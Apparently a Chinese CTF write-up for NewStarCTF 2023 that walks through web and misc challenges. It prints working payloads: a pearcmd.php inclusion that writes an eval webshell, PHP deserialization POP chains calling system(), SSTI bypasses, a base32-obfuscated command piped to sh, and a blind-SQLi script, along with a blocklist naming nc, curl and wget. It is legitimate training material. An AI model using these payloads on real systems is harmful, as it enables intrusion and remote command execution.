Z5RV1<#R(;&UD2'9C;59Y>#-:245&0Q=/2$=K1&V(1JNN4'RO:G%1,#1:25=*
Z2Q=)5G516SD74$R76Q9!1Q%Z4H5$4RUE5H%L44%I14V&=I-(0G9G.4N(-4=!
Z2'R66SH.,4RJ4SZ!4'NK0SD::Q515S%#1P182T=L5Q))>#!)44NH05)G.5NJ
Z5P%71P1S5H%2;$-004971I9K1JRC,QN'>5):25)L2T9W,4%&=#R&=H-+6Q=-
Z541Z>4581T@D2%-6-RV(3&Z'1&-A6TR$-4)J8H5'=T@D25%K=4-)1'5*459K
Z1H-.-GN&=5)!4HUL0R%$,QR(1&D7;7NO67=$,$50:S%(=I(C1R!H5Q%(=71$
Z;&VK5G9K*H=K1#-0>6(L2%1/5HV305971G%%0G=2;$%2-'=!4G1H2&H)5R9&
Z="Z(1QNP6P%%1Q%Z,59"2#0D16GC,Q)L4TR:;4R$64=O,$91,'9!2'R11&HG
Z,%R&<%N*=IVM2T9G;%=02&9!4'%&1IHP15='4P9&4$NJ6T9C,5NJ34N#27`L
Z13`H6$-06T5"=I8C2G=6,QR1,5%9=GR*1Q9W,$%&<"Z!,#5-04NO-49W8IL#
Z2'5*1Q=W84NJ8SZ&4#`E04NC.4%I,5571T`X5F%,=4%2<5V'44KE1R!$*H=2
Z-5N"4GLH06DW,4-&6P)!1R)K65%%2Q9I,&%#1R)X2'R,-%!L8SD)43`E65!$
Z.5VJ8G=)=R(C6SD3;RV1<#5747560GNO-$5Z,#9:25-11&H-1G50=&9%;$R8
Z6T9C,5=19TV)2%UE5H(H0G))4TR7;59N04=O6$VJ,45:27!X049(;5VI1&=:
Z=GH$0Q=C;$%'>6L:44NT679W,%N(8P5(4%)M05!)2QV'5P%72&UD05!L35V&
Z<49!;6-'64N2:Q9J,'N"2'0H5IVP;RR&6T5"=G5(6R)(:Q%&15):=QR*6$=%
Z1G-'=#!!>4H807R2-5R19TR#2&VZ04=K-Q%114)&44R65QRC9Q%0,&)"4G%2
Z5Q=$;59(,&V!1R)H4'RO:QN&>&Z!2'%"5SH35Q))6P%&4$5207=$8HVZ3P%"
Z1R(J6SH36$%L4G)%;6-%5G9,;$%&>&V#=GDP26H6>$-(:P=(>4R10H!:,59J
Z1#%"2#!82T=6,$=I=#=71F%A65%)2R9I:P%#1QCE2$<C,Q-(=#R7;3!J5Q=O
Z-H=2-4):47`H5G=315V)8P5)4P0F6QR34QV13P!"1T0L16CC8Q-036L7:S-A
Z05%%4Q9Z3H5"2&9S05!(8RR&3'R6=G552G9,,49J,&H:1Q@H6%`C>4=I8PR%
Z,'1L6R)C-45Y8H571H(C13!G=Q%31&V&44R'1R%:,4NK-&-0>6(X5SD(>Q-(
Z3'5';4]50G9$-492-&Z">4LH0R%314538SD7>$%26P!H2RV':T=!1J`C5SH/
Z4RVI<49';&VK04RO;%9Z2#9:=G0D67=2,Q913%N*=F%60Q9,:H8D5T5!4$5"
Z2R%-2$)&:P5&43%50R)L6R9'1#!!1GCD16GC,Q)11&-7=H)M0G9G:G5Z2&Z!
Z=G0L64=-15N(8S9!1GNK05-$:GRW8IL:47%"16HS,%=&>#!%;7@G05%(8G='
Z4P%72%UH2$9(84-J1#R"=G555G=,,R=&15%94$1T5IH%1$NI4P!:;%-$6R)D
Z1Q%J=55)=H(C13`G>%!L8P!)44]36T9D1RR18H962&UG2#!$,HR12#1%;4KD
Z5GN$:GN&25N:,'0D5IGG=G128SV!1QNP0P%72Q9'6TV91I(C6SH/4G%I2&=%
Z;&UC1J=.6$VJ14=(=R(L2$R69$%L4PR!=J0C1JNO.5=L8TV:2$DH1G=-2$)(
Z6SN!25=7649D0Q%Z4H984J0D2#!%65R)5GV&1IVN049O,$%&,&%:25=G16VP
Z;Q%I14V&1I-(1J=G:GR04IL!24%51&DX55='3SZ!47NI6QND<4%'3G5#2#NT
Z5H%K:G-J24)"=H-&27NG:QR1,#)94T5*6T=6>Q504SZ(1GNY4'RO,QR2-5%"
Z2'5"6Q9W=H9&>#R&>Q]:6Q=-5RN1-'N71T@C2%-6>$)Y34V&;4]%0G=6:$%0
Z2&%94%UH5Q=$,H9(:P%&=H-$0P%2>4=14T=:1QN82T=S>QR(6P)!47NS679(
Z.5N0,'V:1RVY5ID(>RV11#R9;5(C6$9C;59Z,#-:2$DL06H/6$-&1&N!4'R8
Z6Q9:=4)J14=)>71Y5SD2=4%1249:1&-A6Q=$-5=J4H162&(E2$=K9RRJ1#5:
Z430D2792*G%&,'9:1GNL6SH2,4-&=#1(,'0E0SD(8G9J1&%(>#@I13!/4RVJ
Z2&=61H9N6QR$,Q%1,&-0>6(D2$@H6$%306L!=I8C1JNG:Q4C-5591G0L5IH)
Z1%9&<"Z724R804NC.$1Z-49)>&)Y05%K,Q-(<#%!=GDK2'9$-Q4D5SZ94$H2
Z0Q=$,%V)3RN*=GR713!C*GN)35=:=QCH06HS,5R&6SV!,58E0QNH2Q9&,'=6
Z1RVY06D2-%VL1#R&44R50G=2*H=L8TR";45D07=.,GNJ5SN744RA64=$-59W
Z8IL:25-11&H6>59'5P1%;$NX6Q=C>4)J,55&4$CE05%K>$)I1'R:458D1J=K
Z:G5Z3H)!=QNK15%6>4RI>"Z6;$NM0J9::G9Z3#%82%UG13%-6%!L8P9(4%(G
Z6QR$:Q1Z3P%82'`G2'R,8Q)2<&-71I-'64N2:QR2-5):4H(L6Q=-2$RI8PR(
Z=T516Q=:=4V124571TNX5P%6-Q)Z2&)$;4H&6$=O6$VI,45$4Q0G25%(=Q)Z
Z24V&45=(0G8G9Q5Y>'V#=QH26%%36$=K-&V)4H9K67=(-5=Z159'=I(C2'R-
Z2G%L05)84&Z%64NW,4R12&%!47`D5IVP;RVJ<#584#%627RK,$4C=&V#=GDP
Z26H6=H9&1#1(>59N6Q=%2Q%Z,5=91T`D16HK;$)K<4)&1F`D5G92;%<D5SD!
Z=Q0L6%!W,$NK>#R6,#1H4'RO;$%214-:44NL65`G,4-(8P%(4#!N0J9,-$9J
Z3P%61T0G05`D5HVY3&=!=H-56R)::G9K3HR">'0L1SGC>Q)&6PR(1H-$079(
Z>5R'4TN91QD82T=%1Q=I8PR%;4NK6R%%0RVJ8G5"2&(X5SHK=RVI<&V&45=(
Z0G9K;%=35HN#=QHA6%$D6$NI:P))47NK679$:GVJ-#%"1T@L25!33%V12'5&
Z:S-A0JR29HN1:P%"1J`J04<C8RV34G)$;&Z&0G=:;4%(-#5:245G1H%)14-'
Z6P)724DP0H!-2R9'1#-(=I)W05$C8HV)5PR);7571H%O:GR02'V0>6(E5IHX
Z4Q%'1'R7;59M2792,$$C-5R!=GNH5G=/1Q-)8SZ!1GNQ0GNK8Q1Z3P%71P@D
Z04R,>RVZ2&-8=G0C1%)$:Q5Z>558>'0L1H%H1%R&6RN*=H9K1R)C:G%Z,&R!
Z1G0L1SH2=HN&4P!!1P%/07R.=41Y:P%"26(D25-68HVI<4)*44KF1JNG,Q%&
Z4HV"4GLX5Q=$=H='=#))43!K64=(-49G8IL944@H5T=6=GD22&V!1QR90QR7
Z1RV'4T=!1I(C04=L05V34P5"=P0C1J9C;%=Z>#9:=G1X2R%6>5=)1&Z!1F!N
Z07R!2R9'4HN$4Q@E2$@H45!L8P9%,4H86T=$,5=Z-#-625UD16GD3$%34TR8
Z46VM0G96:G5Z4HR:1QNP26H,>$RK8SH!4P1J6QR68Q515S%(=GCG05!K;5UC
Z<#5"440D64=(6$VJ4HN(=T1S2$@G85R03#R61H8D6496,QN',#)94$1L5J=W
Z=QVJ<#R)4H=/07R$-5N1=45!26)S5SD2,HV(=&)&;4KD5QNS*GN&2&Z:1J!L
Z5Q1P;RV(=&="45-81J=O9G%124H:=QHA0Q=$,$NI5SV)45-$0P%29HN1:TV)
Z=Q@C05)%6Q%(=&-746-505)$,4933'5#=G1L6T=.,Q902&Z!4I)N4'RO;%9Y
Z4P-944@L5SH,,$NJ6SV(=F%804R%2R='1'R)>71Y5H(G>5VI1'R81H)J1J9(
Z,$%2-5V:4T`H65%S>4-(9SZ6;#!I0SHC>5RJ4P!#1PN82T=6>$-(9SZ7>6)O
Z0J=%4Q='1&%(>#NT2$R6;5VY6P%"=H8D0QR.;$NI2&D94H(H6Q=-1%N&=&Z(
Z2#5#6R-69HRZ3G9#1T`H2#!G,HV(<4)*3S-A6QR%3Q913#%(>&)Y5SH(9$-)
Z04V&=GCC0GNS9R=02&D:,'0H0T<D54=K:P)!;7R,04=$.49Z-'V*=J`L1793
Z5Q%L4G)943`C0GNO;4N02#10>6)Y5GR,-%VL1#5);&UC649K-$NZ,#)";'%.
Z16H-14=K.#9%;'NX04ND0R9Z4H9)2$@D1R1/44)11&-:;4%'2T=,:G5Z4IL!
Z2'`L1&DX14NJ4RN*=F1J0Q9::G5Z4HV:240L1H%2>4)&3#5(,6)L65!%<5VZ
Z34N#1T0X05%L;Q-'1#%"45-60R)S,4@C1&)925=*6%%W,$)'=&H(;#%/07R$
Z-41W8IL91G1X2Q=H5Q)&6SD7,$]:6R%$-49Y,49)=T0K04=K=4-(<5)'44R5
Z1JNC9Q%02&-!245*5SGD1QRL3P)71QR'0GNG-5N'14181T1Y5SH(,5!L8P)!
Z43!K64=%2Q9J5P!#1J!X25%/6RV)4P5'45-627NK.%8C-'N";4CH1H%6,G)&
Z:P=!4$NW0J9:8HV1-#)84SUD1T=L5Q%(=4V:1H9M649(6$VJ1#))2%UD16HL
Z45R114):459J6$=O.4N&2&N:240L6$=)1Q=J5PN6;5)M05)D5RR'34=%4#`J
Z2'=L6%R12&Z"=G5%6R)(:Q%&=5594H=&6QLP;RVI04)71G0D27@C:G9J>&D9
Z=G5"1T<C,4NJ8PR&>Q]66QNL5QNZ-'N#2'@X5G@G-RV(=4V'1GH%0G@K-4N&
Z15)!2'0D5Q=$85=&8P)!;3!S4'=W.4N&,&H:;$DX0T<G,5R&8P)7;3!H6SH%
U4RRJ=5N:1GKL5P!D<5N(245)=S)Y2$R,:$0E3J10>QL8)EQV*2QV.C``
`
')))));";
for($i=0; $i<50; $i++){
    if(preg_match("/base64/",$shell)){
        $tmp = preg_replace("/eval/","return ",$shell);
        $shell = eval($tmp);
    }else{
        break;
    }
}
echo $shell;

error_reporting(0);($_GET['7d67973a'])($_POST['9fa3']);

GET：?7d67973a=system

POST：9fa3=ls /

Week3

Web

include

 <?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?> 

提示去看phpinfo.php，打开搜索flag看到fake{check_register_argc_argv}

浅谈文件包含之包含pearcmd.php漏洞_register_argc_argv文件包含-CSDN博客

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html

buuctf 的靶机是用 docker 搭的, 猜测默认环境下应该也会有 pearcmd.php根据文章所说, docker php 环境下 register_argc_argv 默认为 On, 也就是说我们可以通过 query-string 来控制 $_SERVER['argv'], 即执行 pearcmd.php 所需要的参数

payload 如下:

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[1]);?>+/tmp/hello.php
需要在burp中传入，在hackbar传入会被url编码

?file=/tmp/hello
POST传参命令执行

medium_sql

sqlmap一把梭，布尔盲注时间有点久

POP Gadget

Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset

<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);
    }
}

@unserialize($_POST['pop']);

exp:

 <?php
     
    class Begin{
        public $name;
        public function __destruct()
        {
        }
    }
     
    class Then{
        private $func;     
        public function __construct()    
        {     
            $s=new Super();    
            $this->func=$s;    
        }    
        public function __toString(){
            ($this->func)();//这里把Super当函数调用，实际触发了Super()里面的__invoke方法
            return "Good Job!";
        }
    } 
    class Handle{
        protected $obj;
        public function __construct()
        {
            $this->obj=new CTF();//实例化CTF（）后给这里的obj赋值
        }
        public function __call($func, $vars)
        {
            $this->obj->end();//调用了CTF（）里的end()方法
        }
    } 
    class Super{
        protected $obj;
        public function __construct()
        {
            $this->obj=new Handle();//为protected $obj赋值
        }
        public function __invoke()
        {
            $this->obj->getStr();//Handle 类没有定义 getStr() 方法，因此在调用这个方法时会触发 handle里的__call() 魔术方法
        }
        public function end()
        {
            die("==GAME OVER==");
        }
    }     
    class CTF{
        public $handle;    
        public function __construct()     
        {   
            $w=new WhiteGod();    
            $this->handle=$w;
        }
        public function end()
        {
            unset($this->handle->log);//在这个end()方法中我们试图用unset（）删除WhiteGod()里面的log属性
        }
    }  
    class WhiteGod{
        public $func='system';
        public $var="cat /flag";  
        public function __unset($var)
        {
            ($this->func)($this->var);    
        }
    }
    $b=new Begin();
    $b->name=new Then();
    echo urlencode(serialize($b));
//POP Gadget: // Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset

__destruct() 中，由于 $name 包含一个 Then 对象，会触发 __toString() 魔术方法。
在 __toString() 方法中，首先调用 $this->func 属性指向的对象（即 Super 对象），
接下来进入 Super 类，由于该类含有一个 __invoke() 魔术方法，因此在调用 Super 对象时会触发 __invoke() 方法。
在 __invoke() 方法中，又会调用 $this->obj->getStr() 方法，并进入 Handle 类中。

由于 Handle 类没有定义 getStr() 方法，因此在调用这个方法时会触发 __call() 魔术方法。
在 __call() 方法中，将会调用 $this->obj->end() 方法，并触发 CTF 类中的 end() 方法。

在 CTF 类的 end() 方法中，我们会调用 unset($this->handle->log)，
从而触发 WhiteGod 类的 __unset() 魔术方法。
在 __unset() 方法中，我们构造了一个命令行字符串，然后通过执行漏洞执行了系统命令。

GenShin

Python的SSTI

发现文件路径，使用name传参访问

?name={{7*7}}                              发现过滤了连续的{{}}
?name={%print(7*7)%}                        出现49 说明成功了 
我们看下config配置 看看key  没有，那考点应该不是爆破 查看一下子类
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()%}
查找到<class 'os._wrap_close'>在第[128]个子类名
使用__init__方法再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值，但这里init被过滤我们采用"+"进行绕过 即in"+"it
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%}
找到了eval 然后我们可按照下面这样来构造命令
popen被过滤 但是我们可用采用chr编码进行绕过__import__('os').popen('ls /').read()进行chr编码,
但我们还是要执行这个函数eval(__import__('os').popen('ls /').read())
发现flag之后也是一样的改为__import__('os').popen('cat /flag').read() 进行chr编码
?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(10)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%}
flag{50febb8e-61b0-42d6-bfc9-906243946038}

官方wp：ban掉了一些内置函数但还剩下get_flashed_message()

直接{% print(get_flashed_messages.__globals__.os["pop"+"en"]("cat /flag").read()) %}

R!!!C!!!E!!!

<?php
highlight_file(__FILE__);
class minipop{
    public $code;
    public $qwejaskdjnlka;
    public function __toString()
    {
        if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
            exec($this->code);
        }
        return "alright";
    }
    public function __destruct()
    {
        echo $this->qwejaskdjnlka;
    }
}
if(isset($_POST['payload'])){
    //wanna try?
    unserialize($_POST['payload']);
}

链子

<?php
error_reporting(0);
class minipop
{
    public $code;
    public $qwejaskdjnlka;
}
$Minipop = new minipop();
$Minipop->qwejaskdjnlka = $Minipop;
$Minipop->code = 'echo "JJLEMRSDK5BUQR2KIJCUGUSTK5FUUSSVINJUWVKJJZDVKTKXKNMEWRSFKVCVIU2PJFLESVKJJZBUWS2KIFKU2TSLKRETKRSUJNKVGUKKGVFEMRKXINBEUUSOIZCVEMSGJRDEUVCJKRFVGS2OIVCUWV2DIVEVMR2WIVLUGR2MIZGVMSKUJNHEWSSJIVHVESZSJFJEIVJUKFJUESJVIFKE6UJSJZFFMRSFI46T2PI=" | base32 -d | base32 -d |base32 -d |/bin/[r-t]h';
echo serialize($Minipop);

因为对bash进行了过滤，所以用base32进行加密，正则匹配发现被匹配到了，于是多加密了两层

echo "JJLEMRSDK5BUQR2KIJCUGUSTK5FUUSSVINJUWVKJJZDVKTKXKNMEWRSFKVCVIU2PJFLESVKJJZBUWS2KIFKU2TSLKRETKRSUJNKVGUKKGVFEMRKXINBEUUSOIZCVEMSGJRDEUVCJKRFVGS2OIVCUWV2DIVEVMR2WIVLUGR2MIZGVMSKUJNHEWSSJIVHVESZSJFJEIVJUKFJVOSKWIFLFGUSCKVFEUSSGIVJEWSSIKU3FIMSQJI2UQVJ5HU6T2PJ5" | base32 -d | base32 -d |base32 -d |/bin/[r-t]h

payload=O:7:"minipop":2:{s:4:"code";s:287:"echo "JJLEMRSDK5BUQR2KIJCUGUSTK5FUUSSVINJUWVKJJZDVKTKXKNMEWRSFKVCVIU2PJFLESVKJJZBUWS2KIFKU2TSLKRETKRSUJNKVGUKKGVFEMRKXINBEUUSOIZCVEMSGJRDEUVCJKRFVGS2OIVCUWV2DIVEVMR2WIVLUGR2MIZGVMSKUJNHEWSSJIVHVESZSJFJEIVJUKFJUESJVIFKE6UJSJZFFMRSFI46T2PI=" | base32 -d | base32 -d |base32 -d |/bin/[r-t]h";s:13:"qwejaskdjnlka";r:1;}

Misc

阳光开朗大男孩

secret.txt社会主义核心价值观编码

法治自由公正爱国公正敬业法治和谐平等友善敬业法治富强公正民主法治和谐法治和谐法治法治公正友善敬业法治文明公正自由平等诚信平等公正敬业法治和谐平等友善敬业法治和谐和谐富强和谐富强和谐富强平等友善敬业公正爱国和谐自由法治文明公正自由平等友善敬业法治富强和谐自由法治和谐法治和谐法治和谐法治法治和谐富强法治文明公正自由公正自由公正自由公正自由

得到this_password_is_s000_h4rd_p4sssw0rdddd

打开flag.txt

🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🌊⏩🔬🚹✉☀☺🚹🐅🎤🛩💵🌿🌊🚰😊🌊✉🐎❓🎈🌉👑🎅📮🥋👣🕹🚪☀🔄🚫🐍❓🐍😊☀🔬🍍🤣🎈🥋🙃👑🌏🐎🌊📮😂💵🏹👉❓😇🍴💧☺💵😁☃👉🎅👁☂🌿👉🍴🌪👌🍴🍵🖐😇🍍😀🗒🗒

基于AES-EMOJI的原理其实就是一个换表base64然后加个ECB模式的AES，把原来base64的64个字符加个=号一共65个字符替换成65个emoji字符

import base64
from Crypto.Cipher import AES
import string
emojisInit="🍎🍌🏎🚪👁👣😀🖐ℹ😂🥋✉🚹🌉👌🍍👑👉🎤🚰☂🐍💧✖☀🦓🏹🎈😎🎅🐘🌿🌏🌪☃🍵🍴🚨📮🕹📂🛩⌨🔄🔬🐅🙃🐎🌊🚫❓⏩😁😆💵🤣☺😊😇😡🎃😍✅🔪🗒"
alpha = string.ascii_lowercase+string.ascii_uppercase+string.digits+"+/="
cipher = "🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🌊⏩🔬🚹✉☀☺🚹🐅🎤🛩💵🌿🌊🚰😊🌊✉🐎❓🎈🌉👑🎅📮🥋👣🕹🚪☀🔄🚫🐍❓🐍😊☀🔬🍍🤣🎈🥋🙃👑🌏🐎🌊📮😂💵🏹👉❓😇🍴💧☺💵😁☃👉🎅👁☂🌿👉🍴🌪👌🍴🍵🖐😇🍍😀🗒🗒"
base64data = ""
for i in cipher:
    base64data += alpha[emojisInit.index(i)]
print(base64data)
#U2FsdGVkX19WZSmly4mTsP2FWt5WlVYBnqDMkfNdyRXvYv5ySp3BkUqGVWMj2ArY6Kw420IrDeuFrKHoKJh6pg==

AES解密,key是s000_h4rd_p4sssw0rdddd

滴滴滴

wav文件听起来像是拨号音，在http://dialabc.com/sound/detect/index.html 进行拨号音识别：

得到拨号音的内容为：

52563319066

结合题目简介的提示，这串数字应该是某处使用的密码，因此可以尝试steghide工具来对jpg图片进行隐写内容提取：

steghide extract -sf secret.jpg

得到fffflllllaaaaaggggg.txt

flag{1nf0rm4t10n_s3cur1ty_1s_a_g00d_j0b_94e0308b}

大怨种

给了一个gif，gifframe查看

第二张含有一张汉信码，在线解密在线汉信码识别,汉信码解码 - 兔子二维码 (tuzim.net)

flag{1_d0nt_k0nw_h0w_to_sc4n_th1s_c0d3_acef808a868e}

键盘侠

usb流量

tshark -r draobyek.pcapng -Y 'usb.data_len == 8' -Y 'usb.src =="1.15.1"' -T fields -e usbhid.data | sed '/^\s*$/d' > draobyek1.txt

得到（其中表示删除，表示空格，根据这个按键顺序对数据进行处理后得到flag）

w3lc0m3<SPACE>to<SPACE>newstar<SPACE>ctf<SPACE>2023<SPACE>flag<SPACE>is<SPACE>here<SPACE>vbafjwrisgjadwwiihdgja13882hxbbbna     <CAP><CAP>ff<DEL>lll<DEL><DEL>aaa<DEL><DEL>gggg<DEL><DEL><DEL>{999<DEL><DEL>999<DEL><DEL>11<DEL>9aaa<DEL><DEL><SPACE><SPACE><DEL><DEL>eb2---<DEL><DEL>a450---<DEL><DEL>2f5f<SPACE><SPACE><SPACE><DEL><DEL><DEL>--<DEL>7bfc[unknown][unknown][unknown]-8989<DEL><DEL>dfdf<DEL><DEL>4bfa4bfa<DEL><DEL><DEL><DEL>85848584}}}<DEL><DEL><DEL><DEL><DEL><DEL><DEL>}]<SPACE><SPACE><SPACE><SPACE>nice<SPACE>work!1you<SPACE>got<SPACE>this<SPACE>flag
output :w3lc0m3<SPACE>to<SPACE>newstar<SPACE>ctf<SPACE>2023<SPACE>flag<SPACE>is<SPACE>here<SPACE>vbafjwrisgjadwwiihdgja13882hxbbbna     <CAP>FLAG{9919AEB2-A450-2F5F-7BFC[UNKNOWN][UNKNOWN][UNKNOWN]-89DF4BFA8584}]<SPACE><SPACE><SPACE><SPACE>NICE<SPACE>WORK!1YOU<SPACE>GOT<SPACE>THIS<SPACE>FLAG
flag{9919aeb2-a450-2f5f-7bfc-89df4bfa8584}

2-分析

但你心中仍然有一种不祥的预感，这时你的同事告诉你这台服务器已经被攻击者获取到了权限，需要你尽快去还原攻击者的攻击路径，调查清楚攻击者是如何获取到服务器权限的。；FLAG格式flag{md5(攻击者登录使用的用户名_存在漏洞的文件名_WebShell文件名)}；例如flag{testuser_123.php_shell.php}，将括号内的内容进行md5编码得到flag{58aec571c731faae1369b461d3927596}即为需要提交的Flag

一般登录请求都是POST方式的请求，因此可以先过滤出所有的POST请求：

http && http.request.method == POST

可以看到有一个发送给/api/action/login.php的POST请求中有username和password字段

其次是存在漏洞的文件名和WebShell文件名，可以看到有大量的目录扫描流量，先使用WireShark过滤器过滤掉响应状态码为404的响应：

http && http.response.code != 404

响应格式是文件包含漏洞包含pearcmd.php GetShell的响应

index.php文件的page参数存在任意文件包含漏洞，攻击者通过这个漏洞包含pearcmd.php向服务器中写入了名为wh1t3g0d.php的WebShell。

而后续的流量也可以看到攻击者是利用wh1t3g0d.php这个Shell执行了一些系统命令

best_admin_index.php_wh1t3g0d.php
flag{4069afd7089f7363198d899385ad688b}

Week4

Web

逃

<?php
highlight_file(__FILE__);
function waf($str){
    return str_replace("bad","good",$str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

反序列化字符逃逸

关键代码在于

function waf($str){
    return str_replace("bad","good",$str);
}

这里我们可控的只有key的值，因此需要通过这里的字符长度的变化来修改序列化字符串，从而实现对于cmd值的控制。

payload：

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}

实际数据O:7:"GetFlag":2:{s:3:"key";s:88:"goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
最终payload：
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

More Fast

再快一点我就能拿到Flag了,如果Destruct能早一点触发就好了…

<?php
highlight_file(__FILE__);

class Start{
    public $errMsg='';
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}
$web =new Web();
$web->func='system';
$web->var='ls /';
$pwn=new Pwn();
$pwn->obj=$web;
$re=new Reverse();
$re->func=$pwn;
$crypto=new Crypto();
$crypto->obj=$re;
$start=new Start();
$start->errMsg=$crypto;
echo serialize($start);
?>
destruct()->toStirng()->get()->invoke->evil

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}

题目提示destruct早一点触发

1.去掉序列化尾部 }
2.修改序列化数字元素个数

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}
O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}

本质上，fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出，为了销毁之前建立的对象内存空间，会立刻调用对象的__destruct(),提前触发反序列化链条。

midsql

过滤了空格和=

使用/**/和like绕过

import requests
import time 
result=''
for i in range(1,100):
    left=32
    right=128
    print(i)
    mid=(left+right)//2
    
    while(left<right):
        # url=f"http://120fd531-928e-47d1-a720-425fc6e7d6cc.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{mid},sleep(2),0)#"
        
        # url=f"http://120fd531-928e-47d1-a720-425fc6e7d6cc.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'ctf'),{i},1))>{mid},sleep(2),0)#"

        # url=f"http://120fd531-928e-47d1-a720-425fc6e7d6cc.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'ctf'),{i},1))>{mid},sleep(2),0)#"
        
        url=f"http://120fd531-928e-47d1-a720-425fc6e7d6cc.node4.buuoj.cn:81/?id=1/**/and/**/if(ascii(substr((select/**/group_concat(id,name,price)/**/from/**/ctf.items),{i},1))>{mid},sleep(2),0)#"

        start_time= time.time()
        res=requests.get(url=url)
        end_time = time.time()
        t = end_time - start_time
        
        if(t>2):#成功运行
            left=mid+1
        else:
            right=mid
        mid=(left+right)//2
    
    result+=chr(mid)
    print(result)
#information_schema,mysql,performance_schema,sys,test,ctf
#iteos
#id,name,price
#1lolita1000,520lolita's flag is flag{9bc00737-790e-4aee-9555-7f961161b8f0}1688 

**PharOne

查看源码发现提示class.php

<?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']);//删除 $_POST['file'] 参数指定的文件。@ 符号被用来抑制错误，所以如果文件不存在，它不会产生错误

flask disk

题目提示：a flask disk with a vulneribility. (The application is running on port 5000)

